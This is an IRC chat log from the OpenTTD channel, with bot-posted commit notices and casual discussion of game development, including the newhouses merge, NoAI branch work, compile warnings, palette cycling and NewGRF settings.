[~stillunkn@212-182-130-7.dsl.ip.tiscali.nl] has joined #openttd 09:00:57 <Ailure> ok 09:01:01 <Ailure> wtf is with this flood of tram topics 09:06:20 *** ammler [~ammler@adsl-89-217-34-98.adslplus.ch] has quit [Remote host closed the connection] 09:13:22 *** Tino|R152 [Tino@52N.UNI-MUENSTER.DE] has joined #openttd 09:16:10 *** blathijs_ is now known as blathijs 09:31:21 *** Tino|Home [~Tino@i5387E2B7.versanet.de] has joined #openttd 09:32:35 *** Purno [~Purno@5351C3E7.cable.casema.nl] has joined #openttd 09:33:21 <CIA-2> OpenTTD: celestar * r9310 /branches/gamebalance/src/ (town.h town_cmd.cpp): 09:33:21 <CIA-2> OpenTTD: [gamebalance] -Feature: Player performance now influences the wealth level of a 09:33:21 <CIA-2> OpenTTD: town (albeit only on a small scale). This is the first feedback effect that the 09:33:21 <CIA-2> OpenTTD: player has on the local and global economy. Please refrain from using the AI too 09:33:21 <CIA-2> OpenTTD: much for the time being because it'll trash the ratings most likely. 09:33:35 *** mikk36[EST] [~mikk36@ip167.cab14.ktln.starman.ee] has quit [Read error: Connection reset by peer] 09:33:54 *** mikk36 [~mikk36@ip167.cab14.ktln.starman.ee] has joined #openttd 09:36:06 <Ailure> hmm intresting 09:38:43 *** TinoM| [~Tino@i5387E2B7.versanet.de] has quit [Ping timeout: 480 seconds] 09:38:55 *** mikk36 [~mikk36@ip167.cab14.ktln.starman.ee] has quit [Quit: The pedestrian had no idea which way to run, so I ran over him.] 09:43:39 *** Maedhros [~jc@smtp.gentoo.org] has joined #openttd 09:51:25 <Ailure> http://www.tt-forums.net/viewtopic.php?t=31051 09:51:27 <Ailure> CigWin 09:51:35 <Ailure> is that some kind of tobacco brand? :o 09:55:36 <valhallasw> :D 09:56:46 <peter1138> heh 09:57:02 <CIA-2> OpenTTD: maedhros * r9311 /branches/newhouses/src/newgrf.cpp: [NewHouses] -Fix: Testing for and then trying to use a negative value in an unsigned integer isn't going to work... 09:57:18 *** mikk36 [~mikk36@ip167.cab14.ktln.starman.ee] has joined #openttd 09:57:28 <peter1138> hee 10:02:46 *** Rens2Sea [~Rens2Sea@213.211.185.168] has joined #openttd 10:08:21 <CIA-2> OpenTTD: rubidium * r9312 /branches/noai/ (3 files in 2 dirs): [NoAI] -Codechange: add IsValidCargo. 10:08:47 <CIA-2> OpenTTD: maedhros * r9313 /branches/newhouses/src/newgrf.cpp: [NewHouses] -Fix (r9311): Use int8 so the value can actually be negative. 10:09:18 *** tokai [~tokai@p54B828E3.dip0.t-ipconnect.de] has quit [Ping timeout: 480 seconds] 10:12:45 *** tokai [~tokai@p54B81754.dip0.t-ipconnect.de] has joined #openttd 10:12:46 *** mode/#openttd [+v tokai] by ChanServ 10:24:16 *** Frostregen_ [SADDAM@dslb-084-058-137-081.pools.arcor-ip.net] has joined #openttd 10:29:51 *** Frostregen [~sucks@dslb-084-058-108-130.pools.arcor-ip.net] has quit [Ping timeout: 480 seconds] 10:29:56 *** Frostregen_ is now known as Frostregen 10:32:16 *** setrodox [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has joined #openttd 10:40:34 <CIA-2> OpenTTD: maedhros * r9314 /branches/newhouses/src/ (32 files in 4 dirs): [NewHouses] -Sync with trunk r9273:9313 10:40:38 <GhostBear[Off]> wtf? 10:40:45 <GhostBear[Off]> What(Who) is CIA-2? oO 10:40:56 <GhostBear[Off]> Bot i think :o 10:41:05 <GhostBear[Off]> Why he reporting this shht? 10:42:03 <Maedhros> because that's what it's there for? 10:42:06 <ThePizzaKing> so the American government knows exactly what's going on 10:42:35 <GhostBear[Off]> o_O 10:42:45 <GhostBear[Off]> It ropers something like plugins? 10:42:50 <GhostBear[Off]> Explain plz :o 10:43:27 <ThePizzaKing> whenever the OpenTTD code changes, CIA posts the change log to the channel 10:43:44 *** ChrisM87 [~ChrisM@p54AC52D6.dip.t-dialin.net] has joined #openttd 10:43:44 <Tino|R152> http://cia.navi.cx/stats 10:43:56 <ThePizzaKing> so everyone in the channel can go 'ooo, nice change etc etc' 10:44:19 <GhostBear[Off]> nize :] 10:44:20 <GhostBear[Off]> thx 10:53:30 *** Rens2Sea [~Rens2Sea@213.211.185.168] has quit [] 10:54:43 *** PandaMojo [~chatzilla@ip72-197-231-130.sd.sd.cox.net] has joined #openttd 10:57:29 *** |2rB [~Twofish@195.204.107.4] has joined #openttd 11:00:57 *** GhostBear[Off] [~b@1305.DialWorld.Pool.Kuzbass.Net] has quit [Read error: Connection reset by peer] 11:02:52 <Mucht> now they set his bandwith to zero 11:06:38 *** setrodox_ [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has joined #openttd 11:07:39 *** GhostBear[Off] [~b@1305.DialWorld.Pool.kuzbass.net] has joined #openttd 11:11:08 *** setrodox [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has quit [Ping timeout: 480 seconds] 11:14:55 *** Tino|R152 [Tino@52N.UNI-MUENSTER.DE] has quit [Quit: Verlassend] 11:20:03 *** setrodox [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has joined #openttd 11:26:18 *** setrodox_ [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has quit [Ping timeout: 480 seconds] 11:27:35 <CIA-2> OpenTTD: maedhros * r9315 /trunk/ (28 files in 5 dirs): 11:27:35 <CIA-2> OpenTTD: -Merge: The newhouses branch. With this merge comes almost complete support for 11:27:35 <CIA-2> OpenTTD: the newhouses grf specs, so all newhouses grfs will be playable in the game. 11:27:35 <CIA-2> OpenTTD: Many thanks to everyone who contributed code and ideas, and all the testers 11:27:35 <CIA-2> OpenTTD: who found things we missed. 11:27:55 <ThePizzaKing> :o 11:27:59 *** Rens2Sea [~Rens2Sea@213.211.185.168] has joined #openttd 11:32:51 *** smithj [smithj@dyn-62-56-64-80.dslaccess.co.uk] has joined #openttd 11:33:05 <smithj> hello 11:38:46 *** setrodox_ [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has joined #openttd 11:40:10 *** TheMask96 [martijn@sirius-r5.ne2000.nl] has quit [Read error: Operation timed out] 11:41:25 <CIA-2> OpenTTD: maedhros * r9316 /trunk/src/ (openttd.cpp saveload.cpp): -Fix (r9315): Bump the savegame version for the newhouses merge. 11:41:42 *** ThePizzaKing [~jeff@c211-28-155-87.eburwd2.vic.optusnet.com.au] has quit [Quit: Ex-Chat] 11:44:05 <CIA-2> OpenTTD: maedhros * r9317 /branches/newhouses/: [NewHouses] -Remove the newhouses branch since it was merged in r9315. 11:45:26 *** setrodox [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has quit [Ping timeout: 480 seconds] 11:48:36 *** setrodox_ [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has quit [Ping timeout: 480 seconds] 12:01:42 *** antichaos [~antichaos@host86-137-191-156.range86-137.btcentralplus.com] has joined #openttd 12:08:16 *** TinoM| [~Tino@i5387D692.versanet.de] has joined #openttd 12:11:43 <antichaos> I've just tried to compile the gamebalance branch with MSVC and got a load of errors. First guess would be a problem with the project files. Anyone been able to make it work? 12:15:08 *** Tino|Home [~Tino@i5387E2B7.versanet.de] has quit [Ping timeout: 480 seconds] 12:15:08 *** TheMask96 [martijn@sirius-r5.ne2000.nl] has joined #openttd 12:15:47 <SpComb> Logs: http://zapotek.paivola.fi/~terom/logs/openttd 12:15:47 <TheMask96> !logs 12:16:58 *** TinoM| is now known as TinoM 12:20:03 *** setrodox [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has joined #openttd 12:20:47 *** Vikthor [~Vikthor@212.24.150.226] has joined #openttd 12:23:47 <CIA-2> OpenTTD: truelight * r9318 /branches/noai/src/ai/api/ (6 files): 12:23:47 <CIA-2> OpenTTD: [NoAI] -Add: added new param in ModeCallback: costs 12:23:47 <CIA-2> OpenTTD: [NoAI] -Add: added the instance of the mode too, so you can store things per instace for modes 12:23:47 <CIA-2> OpenTTD: [NoAI] -Change: changed all the AIObject methods to statics, as that is what they really are, and how they should be handeled 12:25:19 <CIA-2> OpenTTD: truelight * r9319 /branches/noai/ (4 files in 3 dirs): [NoAI] -Add: added AITransactionMode, which allows you to record commands and execute it later on. 12:25:19 *** roboman [~Leo@c211-30-67-220.carlnfd4.nsw.optusnet.com.au] has quit [Read error: Connection reset by peer] 12:26:01 *** valhalla1w [~valhallas@a62-251-30-68.adsl.xs4all.nl] has joined #openttd 12:30:09 *** Sacro|Laptop [~Ben@87.102.80.216] has joined #openttd 12:30:14 <CIA-2> OpenTTD: truelight * r9320 /branches/noai/src/ai/api/ (4 files): [NoAI] -Fix: added some doxygen comments to make doxygen happy 12:32:34 <Sacro|Laptop> does OpenTTD use linked lists? 12:32:35 *** valhallasw [~valhallas@a62-251-30-68.adsl.xs4all.nl] has quit [Ping timeout: 480 seconds] 12:33:52 <peter1138> yeah 12:35:01 <Biff> Sacro|Laptop: the patent doesnt apply to all linked lists 12:35:15 <Sacro|Laptop> Biff: heh, thats true 12:35:28 <Sacro|Laptop> actually, we might have prior art... 12:36:11 <peter1138> way too much prior art for that to stick 12:37:14 <Biff> it was only double-linked lists 12:37:14 <antichaos> ok, I've searched the logs and found nothing about it. 12:37:15 <boekabart_> ANyway nobody will sue OTTD project for this.... better focus on a party WITH money 12:37:28 <Biff> but i think there is alot of prior art for that 12:37:54 <Biff> i'm glad they get all these patents approved 12:38:03 <Biff> because it shows how defunct the system is 12:38:18 *** green-devil [~c@0x5731e50e.vgnxx6.adsl-dhcp.tele.dk] has joined #openttd 12:38:33 <CIA-2> OpenTTD: celestar * r9321 /branches/gamebalance/ (305 files in 19 dirs): [gamebalance] -Sync: r9025:9314 from trunk 12:40:54 <CIA-2> OpenTTD: peter1138 * r9322 /trunk/src/ (aircraft_cmd.cpp train_cmd.cpp water_cmd.cpp): -Codechange: Use cargo class to count crash/flood victims 12:41:22 <antichaos> ooh sync - let's try this again... 12:49:35 <CIA-2> OpenTTD: truelight * r9323 /branches/noai/ (75 files in 8 dirs): [NoAI] -Sync r9205:9321 12:49:58 <CIA-2> OpenTTD: celestar * r9324 /branches/gamebalance/ (32 files in 5 dirs): [gamebalance] -Sync: r9314:932 from trunk (newhouses) 12:51:37 <CIA-2> OpenTTD: truelight * r9325 /branches/noai/bin/ai/regression/regression.txt: [NoAI] -Update r9323: because of trunk changes, regression-test output changed 12:52:20 <antichaos> peter1138, I think your changes are causing problems in MSVC 12:52:53 <antichaos> I'm getting a lot of this: src\cargotype.h(62) : error C2220: warning treated as error - no 'object' file generated 12:52:53 <antichaos> src\cargotype.h(62) : warning C4800: 'int' : forcing value to bool 'true' or 'false' (performance warning) 12:53:26 *** guru3 [~guru3@90-227-129-150-no21.tbcn.telia.com] has joined #openttd 12:54:10 <peter1138> - return GetCargo(c)->classes & cc; 12:54:10 <peter1138> + return (GetCargo(c)->classes & cc) != 0; 12:54:11 <peter1138> do that 12:54:21 <CIA-2> OpenTTD: truelight * r9326 /branches/noai/bin/ai/regression/regression.txt: [NoAI] -Fix r9325: somehow I fucked up the regression.txt update 12:54:23 <Biff> lately in new games i havent seen any oil refinerys beeing built 12:54:41 *** mikk36 [~mikk36@ip167.cab14.ktln.starman.ee] has quit [Remote host closed the connection] 12:55:44 <Maedhros> you could try upping the distance they can be built from the coast 12:55:54 <Maedhros> it's in the configure patches windows somewhere, i think 12:56:56 <Biff> i thought about that 12:56:58 <antichaos> yep, that's done the trick 12:57:13 <Biff> but that is a bit borked, because with the default values you get no oil 12:57:15 <Biff> :x 12:58:46 <CIA-2> OpenTTD: peter1138 * r9327 /trunk/src/cargotype.h: -Fix (r9301): Fix warning on MSVC 13:00:57 *** glx [glx@bny93-6-82-245-156-124.fbx.proxad.net] has joined #openttd 13:01:00 *** mode/#openttd [+v glx] by ChanServ 13:01:06 <CIA-2> OpenTTD: truelight * r9328 /branches/noai/Makefile.in: [NoAI] -Add: 'make regression', which executes the regression for you 13:06:03 *** glx is now known as glx|away 13:09:04 *** Vikthor [~Vikthor@212.24.150.226] has quit [Quit: Leaving.] 13:14:22 <CIA-2> OpenTTD: truelight * r9329 /branches/noai/src/ (ai/ai_squirrel.cpp squirrel_helper.hpp): [NoAI] -Fix: add AIRoad() for Squirrel 13:15:33 *** mikk36 [~mikk36@ip95.cab59.mus.starman.ee] has joined #openttd 13:16:22 <Belugas> hello 13:17:15 <peter1138> mr belugas 13:17:51 <Maedhros> hey Belugas :) 13:18:15 <antichaos> Nice job on newhouses btw :) What's next? 13:18:37 <peter1138> industries! 13:19:04 <GhostBear[Off]> new houses? :o 13:19:21 <GhostBear[Off]> Wow! I'm good at pixel art ^^ What stuff you may need? ^^ 13:23:17 *** coronel [andreabl@login1.powertech.no] has quit [Ping timeout: 480 seconds] 13:29:30 <CIA-2> OpenTTD: truelight * r9330 /branches/noai/bin/ai/regression/run.sh: [NoAI] -Add: added -r as param for regression run.sh script to start the game, so you can check if it build what we expected him to for yourself 13:29:34 <Belugas> yeah... newindustries.... 13:29:38 <Belugas> that would be nice :) 13:29:42 <Belugas> that will be nice 13:29:51 <Belugas> would we need a branch for that? 13:31:01 <GhostBear[Off]> newindustries <- ZOMG! xD That would be ultra cool xD 13:31:12 <GhostBear[Off]> btw 13:31:21 <GhostBear[Off]> How many traffic OpenTTD eats for hour? 13:31:26 <GhostBear[Off]> And it depends on map size? 13:31:46 <guru3> depends on how many people connect to the server 13:31:52 <guru3> the more connections the more map downloads and the more bw 13:31:58 <guru3> actually game bw usage isn't too bad 13:33:47 <GhostBear[Off]> :> 13:33:49 <GhostBear[Off]> thx 13:33:53 <GhostBear[Off]> [off] 13:34:25 *** coronel [andreabl@login1.powertech.no] has joined #openttd 13:35:06 <antichaos> is cargo packets on anyone's todo list? 13:36:36 <Rubidium> not really 13:43:28 <antichaos> I have all these ideas for economy tweaks, but they all depend on knowing the exact industry/town that created the cargo :( 13:49:31 *** HMage [~HMage@85.21.179.41] has joined #openttd 13:52:25 *** smithj [smithj@dyn-62-56-64-80.dslaccess.co.uk] has quit [] 13:59:02 <Frostregen> hmm, on msys/mingw i get a warning: 13:59:03 <Frostregen> f:/stuff/openttd/EYE_SRC/src/fontcache.cpp: In function `void LoadFreeTypeFont(const char*, FT_FaceRec_**, const char*)': 13:59:04 <Frostregen> f:/stuff/openttd/EYE_SRC/src/fontcache.cpp:65: warning: 'font_path' might be used uninitialized in this function 14:00:37 <peter1138> it is spurious 14:01:32 <CIA-2> OpenTTD: truelight * r9331 /branches/noai/src/ai/api/ai_road.cpp: [NoAI] -Fix: AIRoad() had most directions wrong, should be okay now 14:05:10 <CIA-2> OpenTTD: celestar * r9332 /branches/gamebalance/src/ (newgrf_house.cpp road_cmd.cpp town.h town_cmd.cpp): [gamebalance] -Codechange: Make TownGetRadiusGroup a method of towns and give it the option to ignore the "fund buildings" option later on 14:07:00 <Frostregen> yeah.. i don't really get why it is there 14:15:45 *** mikk36[EST] [~mikk36@ip95.cab59.mus.starman.ee] has joined #openttd 14:17:29 <CIA-2> OpenTTD: truelight * r9333 /branches/noai/src/ai/api/ai_road.cpp: [NoAI] -Add: added DC_AUTO for DoCommand in AIRoad() to avoid building over existing structures we can remove 14:19:20 *** Vikthor [~Vikthor@212.24.150.226] has joined #openttd 14:22:08 *** mikk36 [~mikk36@ip95.cab59.mus.starman.ee] has quit [Ping timeout: 480 seconds] 14:22:27 *** Zuu [~leif@c-0c3c71d5.025-58-6e6b702.cust.bredbandsbolaget.se] has joined #openttd 14:24:47 <CIA-2> OpenTTD: truelight * r9334 /branches/noai/bin/ai/regression/regression.cfg: [NoAI] -Fix: added some other things in regression.cfg, like disable auto-save and disable full-animation 14:25:11 <CIA-2> OpenTTD: truelight * r9335 /branches/noai/bin/ai/regression/ (regression.nut regression.txt): [NoAI] -Update: added AIRoad() regression test 14:25:11 <Ailure> :o 14:25:12 <Ailure> ooh 14:25:32 *** ammler [~ammler@adsl-84-227-190-191.adslplus.ch] has joined #openttd 14:25:59 <Ailure> I was just adding noai to my highlight list xD 14:27:38 <antichaos> is there a speed limit to the fast forward option? Ie would it be possible to add a 'super fast forward' which had minimal animation etc? 14:28:08 <Ailure> hmm 14:28:13 <Ailure> I could check that later xD 14:28:33 <Ailure> there's probably a limit though 14:28:42 <Ailure> otherwise openTTD would have taken 100% CPU usage when I do it 14:29:00 *** Bjarni [~Bjarni@0x535ca25f.virnxx14.adsl-dhcp.tele.dk] has joined #openttd 14:29:00 *** mode/#openttd [+o Bjarni] by ChanServ 14:29:30 <Ailure> woah i'm really behind SVN wise xD 14:29:56 <Ailure> I only have the source for my own messing around though 14:30:59 <CIA-2> OpenTTD: truelight * r9336 /branches/noai/src/ai/api/ (10 files): [NoAI] -Fix: remove 'flags' for AI DoCommand and detect its value automaticly 14:31:25 <Ailure> Hmm I better eat something 14:31:39 <Ailure> as soon Win32 support is done, and binaries are out I probably mess with the AI branch. :p 14:31:44 <Ailure> bbl 14:32:20 *** Osai^zZz [~Osai@pd9eb7db7.dip.t-dialin.net] has joined #openttd 14:34:07 *** maad_ [~emade@83.15.80.18] has joined #openttd 14:35:28 * Zuu messed some with the noai yesterday, but postponed it untill there is better means to test your code (no a few minutes of wait for AI-companies) 14:35:42 <Zuu> However what had been done yet is nice. 14:36:40 *** maad [~emade@82.160.115.202] has quit [Read error: Connection reset by peer] 14:37:02 <Rubidium> Zuu: just set the AI to start immediatelly and force-set your AI using the -a command line option 14:37:03 <boekabart_> Ailure: AFAIK, FF is no-sleep FF, so maximum possible. If you don't get 100% cpu, probably you have a HyperThread or N-core processor? 14:37:39 <boekabart_> one could make a patch that stops all 'playfield' drawing, maybe that would speed up things even more. 14:38:01 <boekabart_> or draw once every N frames... interesting,.... on it!! 14:38:26 *** maad_ [~emade@83.15.80.18] has quit [Read error: Connection reset by peer] 14:41:19 *** mikk36[EST] is now known as mikk36 14:42:43 *** Born_Acorn [~bornacorn@zernebok.com] has quit [Ping timeout: 480 seconds] 14:52:18 *** skidd13 [~skidd13@p548A7813.dip.t-dialin.net] has joined #openttd 14:53:28 <skidd13> Hi, I get a segmentation with the current trunk. It seems to happen when I use the scroll-wheel 14:53:38 <skidd13> can anyone confirm such a behavior? 14:53:41 *** maad [~emade@82.160.115.202] has joined #openttd 14:54:17 *** Osai^zZz is now known as Osai 14:55:56 *** TinoM| [~Tino@i5387D692.versanet.de] has joined #openttd 14:57:47 *** Osai is now known as Osai^away 14:59:35 *** skidd13 [~skidd13@p548A7813.dip.t-dialin.net] has quit [Quit: Verlassend] 14:59:39 *** TinoM [~Tino@i5387D692.versanet.de] has quit [Ping timeout: 480 seconds] 15:11:14 *** setrodox_ [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has joined #openttd 15:12:26 <Frostregen> does just zoom as always 15:12:49 <Frostregen> maybe check the "scroll wheel usage" patch-setting? 15:13:06 *** Thomas[NL] [~thomas@vdburgt.xs4all.nl] has joined #openttd 15:15:06 *** ammler [~ammler@adsl-84-227-190-191.adslplus.ch] has quit [Remote host closed the connection] 15:17:02 <Ailure> ah 15:17:04 <Ailure> yeah I do get 50% 15:17:05 <Ailure> ahahaha 15:17:10 <Ailure> I mean 15:17:14 * Smoovious blinks. 15:17:14 <Ailure> That's 100% on a core 15:17:21 <Ailure> but 50% in total 15:17:28 <Ailure> Thing is, I made a assumption above 15:17:30 <Ailure> but oh my god 15:17:39 <Ailure> fast forward is really fast on my comptuer 15:18:07 <Tefad> : x 15:18:30 *** setrodox [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has quit [Ping timeout: 480 seconds] 15:18:33 <Smoovious> try disabling full animation/detail, and watch it really take off 15:18:51 <Ailure> ok 15:19:20 <Ailure> well 15:19:25 <Ailure> the diffrence were only very slight 15:19:25 <Ailure> <_< 15:19:42 <Ailure> full animation is a bit wrong name though 15:19:52 <Ailure> since the 'animation' is mostly palette cycling from what I know 15:20:05 <Smoovious> that's exactly what it is 15:20:21 <Ailure> infact 15:20:25 <Ailure> some things that truly animates 15:20:29 <Ailure> such as the radar on airports 15:20:32 <Ailure> keeps animating 15:20:35 <Ailure> when animation is off 15:20:35 <Ailure> xD 15:20:52 <Tefad> right.. 'full animation' 15:20:58 <Tefad> vs some animation ; ) 15:21:20 <Ailure> :P 15:21:24 *** Peakki [antti@cs181000195.pp.htv.fi] has joined #openttd 15:21:42 <Ailure> I belive the palette cycling 15:21:48 <Ailure> is slower on openTTd than on orginal game or something 15:22:04 <Ailure> then heh 15:22:10 <Ailure> some windows ports of some maxis games 15:22:16 <Ailure> had awful palette cycling 15:22:34 <Ailure> rather, it didn't really refresh every 'cycle' 15:22:46 <Ailure> or glitched up in some way 15:23:52 <peter1138> our tick is longer than the original, anyway 15:24:15 <Ailure> any reason for that? << 15:24:39 <peter1138> who knows 15:24:52 *** carwe [~carwe@p54b374b5.dip.t-dialin.net] has joined #openttd 15:25:15 <boekabart_> palette cycling IS expensive when your desktop in 32bpp, since it (win32/sdl) basically has to reblit the screen 8-to-32 using a new palette. 15:26:04 <Ailure> heh 15:26:17 <Ailure> reminds me how some old games complains if you run in anything else but 256 colours mode 15:26:26 *** HMage [~HMage@85.21.179.41] has quit [Read error: Connection reset by peer] 15:27:09 <Ailure> maybe I should try running openTTD on my 486 xD 15:28:24 *** Digitalfox [~chatzilla@bl4-211-152.dsl.telepac.pt] has quit [Quit: Bye Bye...] 15:28:29 <Ailure> http://wiki.openttd.org/index.php/Branch-Merge_Junction 15:28:40 <Ailure> is that a christmas three or what? 15:29:40 <Ailure> I personally avoid cloverleaf like junctions 15:29:51 <Ailure> or junctions in that style :/ 15:29:57 <Ailure> or 4way junctions in general 15:30:25 *** setrodox [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has joined #openttd 15:30:31 <Ailure> I rather do two 3-way junctions than a big 4-way junction 15:30:33 <boekabart_> with current trunk, you can make them more efficient when the main line is N-S / E-W instead of in tile direction 15:30:42 <Ailure> and yeah 15:30:47 <Ailure> bridges over anything helps alot 15:30:53 <Ailure> especially if you're like me and prefer it compact :) 15:31:05 <Ailure> (compact but effecient, I hate doing harsh curves) 15:31:40 <Ailure> custom bridgeheads and rail over tunnels would help as well :/ 15:32:05 <Smoovious> that could be part of why original TTD cycled faster.. in 256color mode, a lot of the animation (like the flames) was handled through palette-cycling... which was an advantage of 256color modes 15:36:22 <CIA-2> OpenTTD: truelight * r9337 /trunk/src/order_cmd.cpp: -Fix [FS#542]: assert() when you removed the orders of a shared list while having the shared order vehicle list open. 15:36:27 *** _Ben_ [~Ben@81.168.42.191] has joined #openttd 15:37:25 *** setrodox_ [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has quit [Ping timeout: 480 seconds] 15:43:43 *** Sacro [Ben@87.102.80.216] has joined #openttd 15:44:06 <Ailure> heh 15:44:14 <Ailure> I remember the game advertsing 16 bit graphics or something xD 15:44:43 <Ailure> when it's 8 bit but with a custom and changing pallete 15:45:12 <Ailure> reminds me of a bug in TTO 15:45:13 *** ammler [~ammler@adsl-84-227-190-191.adslplus.ch] has joined #openttd 15:45:14 <Sacro|Laptop> hmm 15:45:18 <Sacro|Laptop> thats what the amiga did though 15:45:20 <Ailure> if you changed from Mars to Orginal 15:45:23 <Ailure> or the other way around 15:45:29 <Smoovious> probably when the windows version came out... a 256color viewport on a 16bit desktop can't color cycle 15:45:29 <Ailure> and have animations off 15:45:30 *** Sacro|Laptop [~Ben@87.102.80.216] has quit [Quit: Leaving] 15:45:35 <Ailure> the water will be of the wrong color 15:45:53 <Ailure> which is kinda funny as the mars 'water' is red 15:53:09 <Thomas[NL]> maybe a stupid question, but how do you set parameters for grf's? In which format do I have to enter them? 15:54:12 <Smoovious> Thomas[NL]... the format depends on the individual grf... have to look at the grf's readme 15:54:23 <Thomas[NL]> hmm ok ty 15:54:25 <Ailure> and in the newGRF window 15:54:28 <Smoovious> as for setting parameters... you gotta click the 'set parameters' button in the grf list 15:54:29 <Ailure> you use the "set parameters" button 15:54:31 <Ailure> yeah 15:55:09 <Ailure> heh 15:55:17 <Smoovious> most of the time you can just leave them at default behavior... the parameters are mainly for forcing the behavior into something else 15:55:19 <Ailure> one annoying thing with the newGRF interface 15:55:29 <Ailure> newGRF's you have 15:55:32 <Smoovious> like the av8 grf... you'd set the parameter to 1 to make the sprites bigger 15:55:33 <Ailure> can only be added one at a time 15:55:49 <Ailure> oh really? 15:55:51 <Ailure> *tries that* 15:55:59 <Smoovious> if you leave it alone, they'll be the more normal size like the rest of the planes 15:56:15 <Ailure> ahaahaha 15:56:25 <Ailure> and I thought they already were huge 15:56:31 * Smoovious grins. 15:56:56 <Smoovious> yeah, watch one of the zepps trying to squeeze into that little hangar 15:57:16 <Ailure> that was first unti I trid 15:57:28 <Ailure> I don't see that much diffrence with aircraft such as Boeing 747 though 15:57:29 <Ailure> hmm 15:58:27 <Thomas[NL]> ah, I didn't put spaces between the parameters, that's it -.- 15:58:31 <Smoovious> they aren't going to be huge differences with some of the craft 15:58:39 <Smoovious> most, in fact 15:59:25 <CIA-2> OpenTTD: truelight * r9338 /trunk/src/order_cmd.cpp: -Fix: close the Shared Order Vehicle List if you remove the shared link with only 2 vehicles 16:00:58 <Ailure> yeah I noticed that 16:01:07 <Ailure> mostly makes a diffrence on some obviously shrinkd down aircraft 16:01:09 <Ailure> such as teh zeppelin 16:01:21 <Belugas> would this be noted as a safe absolute function ? "static inline int absolutized(int i) { return i >= 0 ? i : -i; }" 16:02:18 <Smoovious> don't see any reason why not 16:02:53 <Smoovious> tho 16:03:22 <Smoovious> do you only need 'return' on the first argument? wouldn't you need it on all 3 to distinguish the following i variables from the supplied one? 16:03:44 <Smoovious> nevermind 16:03:59 <Smoovious> looks ok 16:04:24 * Smoovious waits for someone who actually knows what he's talking about to give his assessment. :) 16:04:59 <peter1138> Belugas: what's wrong with using abs() ? 16:05:49 * Smoovious grins. 16:07:18 <Belugas> peter1138, what is wrong is my lack of knowledge of its existence :) 16:07:23 <Belugas> thanks ;) 16:07:52 <Rubidium> Belugas: -2^31 doesn't become 2^31 (assuming 32 bits ints) ;) 16:08:05 <Smoovious> I wasgoing to suggest it too, but figured, well, he knows the programming environment more than I do, if he's asking about it, it must not have an abs function... 16:08:06 <Zuu> Rubidium: Even if I set AI to start immediatelly it did took some time before the first AI apeard. But when I tried to reproduce it apeard only after ~10 seconds on fast-forward. Could not get -a to work on r9275, but might be a to old revison. 16:08:54 <Rubidium> Zuu: the fun of random functions 16:10:17 <Zuu> :) 16:11:08 *** Digitalfox [~chatzilla@bl7-189-75.dsl.telepac.pt] has joined #openttd 16:12:07 <_Ben_> hi, I need some help/advice in relation to this thread > http://www.tt-forums.net/viewtopic.php?t=30998 16:12:51 <_Ben_> the outcome seems to be that it is required for multiple roation angles, as well as longer viecles. If these arn't available ever then just shrunking the trains, or splitting the trains to bits is the answer 16:13:14 <peter1138> shrunking :D 16:13:31 <_Ben_> Would the enabling of extra angles, and/or longer trains be feesable within a time period that its worth modelling/rendering to that scale? 16:13:38 <Belugas> thanks for the answer, peter1138 and Rubidium 16:13:51 <Belugas> if abs() exists, abs() i will use :) 16:22:08 *** e1ko [~L@161.157.broadband2.iol.cz] has joined #openttd 16:25:50 *** Ben_1 [~Ben@81.168.42.191] has joined #openttd 16:26:39 *** ammler [~ammler@adsl-84-227-190-191.adslplus.ch] has quit [Remote host closed the connection] 16:29:44 <peter1138> _Ben_: it is possible, but for time frames... "nobody's working on it" 16:32:06 *** _Ben_ [~Ben@81.168.42.191] has quit [Ping timeout: 480 seconds] 16:32:24 <Ben_1> peter1138: on the asumption that graphics are just made to a set scale and therefore frequently exceed 1/2 tile lenth, is it likely it would be worked on, or is it just too larger job? (either of them) 16:32:37 *** Ben_1 is now known as _Ben_ 16:34:29 <peter1138> i can't say. i know of no plans at the moment 16:37:43 *** ammler [~ammler@adsl-84-227-190-191.adslplus.ch] has joined #openttd 16:38:29 <_Ben_> what would be the size of the job? is it a large request? (refering to both 'angles' and 'longer trains' combined)? 16:40:05 *** e1ko [~L@161.157.broadband2.iol.cz] has quit [Quit: bye, Im going off] 16:40:46 *** Tron_ [~tron@p54A3DBFC.dip.t-dialin.net] has joined #openttd 16:45:14 *** HMage [~HMage@85.21.179.41] has joined #openttd 16:46:52 *** maddy [~maddy@84.4.235.143] has quit [Remote host closed the connection] 16:46:54 *** Tron [~tron@p54A3D456.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 16:48:47 *** ln- [lauri@ksenos.fi] has quit [Remote host closed the connection] 16:48:47 *** HMage [~HMage@85.21.179.41] has quit [Read error: Connection reset by peer] 16:48:54 *** ln- [lauri@ksenos.fi] has joined #openttd 16:53:59 *** Sacro|Laptop [~Ben@adsl-83-100-138-251.karoo.KCOM.COM] has joined #openttd 16:55:48 *** Bjarni [~Bjarni@0x535ca25f.virnxx14.adsl-dhcp.tele.dk] has quit [Quit: Leaving] 16:57:23 *** Renacor [~kvirc@p54b9f9b2.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 16:58:07 *** ln- [lauri@ksenos.fi] has quit [Ping timeout: 480 seconds] 17:01:54 *** ln- [lauri@ksenos.fi] has joined #openttd 17:08:20 *** Renacor [~kvirc@p54B9D849.dip.t-dialin.net] has joined #openttd 17:08:57 <CIA-2> OpenTTD: rubidium * r9339 /trunk/src/settings.cpp: 17:08:57 <CIA-2> OpenTTD: -Codechange: disable shares by default as the sharing system is broken (abusable) and should therefor not be used in multiplayer games. 17:08:57 <CIA-2> OpenTTD: -Codechange: make default maximum distance from the edge for oil refineries a little higher, so the chance that you get oil refineries is a little better. 17:13:35 *** Prof_Frink [~proffrink@82-43-58-81.cable.ubr04.croy.blueyonder.co.uk] has joined #openttd 17:15:47 <peter1138> frinK! 17:15:59 